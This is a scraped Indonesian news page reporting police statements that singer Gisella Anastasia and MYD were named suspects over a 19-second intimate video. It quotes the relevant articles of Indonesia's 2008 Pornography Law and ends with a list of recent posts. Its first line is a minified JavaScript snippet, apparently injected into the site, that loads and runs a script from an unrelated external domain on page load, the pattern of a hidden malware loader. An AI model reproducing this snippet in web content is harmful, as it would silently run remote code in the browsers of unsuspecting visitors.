(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: selebriti

Ternyata Gisel yang Kirim Video Syur 19 Detik ke MYD Lewat Aplikasi


KANALKALIMANTAN.COM, JAKARTA – Michael Yukinobu Defretes atau MYD turut dijadikan tersangka dalam kasus video syur 19 detik mirip artis Gisella Anastasia alias Gisel. MYD bersama Gisel telah mengakui bahwa pasangan yang berbuat intim dalam video tersebut adalah mereka berdua.

Kabid Humas Polda Metro Jaya, Kombes Pol Yusri Yunus, mengungkapkan alasan mengapa MYD ikut jadi tersangka dalam kasus video porno tersebut.

Menurutnya, MYD sempat menerima video tersebut dari Gisel yang dikirimkan melalui aplikasi bernama airdrop.

“GA mengirim video ke hp MYD. Dia kirim ke airdrop,” kata Yusri saat dihubungi Suara.com –jaringan Kanalkalimantan.com, Rabu (30/12/2020).

 

Yusri menambahkan, seandainya video porno tersebut diterima kemudian langsung dihapus, maka MYD tidak akan dikenakan pasal atau menjadi tersangka.

Namun, MYD justru sempat menerima lalu menyimpan video tersebut selama satu minggu.

“Sekarang gini MYD bukan yang membuat (video), tapi kan seharusnya kalau dia pada saat itu tahu ada video itu terus menghapus mungkin dia tidak akan kena pasal. Tapi kan dia menerima,” tuturnya.

“Disimpan, pengakuan dia seminggu, kemudian dihapus,” sambungnya.

Atas perbuatannya tersebut MYD maupun Gisel disangkakan pasal 4 ayat 1 Jo pasal 29 dan atau pasal 8 jo pasal Undang – Undang nomor No. 44 tahun 2008 tentang Pornografi.

Pasal 4 ayat (1) setiap orang dilarang memproduksi, membuat, memperbanyak, menggandakan, menyebarluaskan, menyiarkan, mengimpor, mengekspor, menawarkan, memperjualbelikan, menyewakan, atau menyediakan pornografi yang secara eksplisit memuat:

  • Persenggamaan, termasuk persenggamaan yang menyimpang
  • Kekerasan seksual
  • Masturbasi atau onani
  • Ketelanjangan atau tampilan yang mengesankan ketelanjangan
  • Alat kelamin
  • Pornografi anak

Pasal 29 setiap orang yang memproduksi, membuat, memperbanyak, menggandakan, menyebarluaskan, menyiarkan, mengimpor, mengekspor, menawarkan, memperjualbelikan, menyewakan, atau menyediakan pornografi sebagaimana dimaksud dalam Pasal 4 ayat (1) dipidana dengan pidana penjara paling singkat 6 (enam) bulan dan paling lama 12 (dua belas) tahun dan/atau pidana denda paling sedikit Rp 250.000.000,00 (dua ratus lima puluh juta rupiah) dan paling banyak Rp 6.000.000.000,00 (enam miliar rupiah).

Pasal 8 setiap orang dilarang dengan sengaja atau atas persetujuan dirinya menjadi objek atau model yang mengandung muatan pornografi.

Pasal 34 setiap orang yang dengan sengaja atau atas persetujuan dirinya menjadi objek atau model yang mengandung muatan pornografi sebagaimana dimaksud dalam Pasal 8 dipidana dengan pidana penjara paling lama 10 (sepuluh) tahun dan/atau pidana denda paling banyak Rp 5.000.000.000,00 (lima miliar rupiah).

Ancaman hukuman Dipidana dengan pidana penjara paling singkat 6 (enam) bulan dan paling lama 12 (dua belas) tahun dan/atau pidana denda paling sedikit Rp 250.000.000,00 (dua ratus lima puluh juta rupiah) dan paling banyak Rp 6.000.000.000,00 (enam miliar rupiah). (suara.com)

Reporter : suara.com
Editor : kk

Al Ghifari

Recent Posts

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

12 jam ago

Sejarah Hari Tari Sedunia 29 April

KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More

14 jam ago

Peringati Hari Tari Sedunia, Ratusan Penari Tampil di Taman Budaya Kalsel

KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More

15 jam ago

Rakerda KNPI Banjarbaru, Rekomendasi Pendirian Gedung Pemuda

KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More

17 jam ago

Peringati Hari Kartini, PLN Beri Santunan 30 Muslimah Tangguh di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More

19 jam ago

Konser Malam Pestaforia Kapuas 2024

KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More

20 jam ago

This website uses cookies.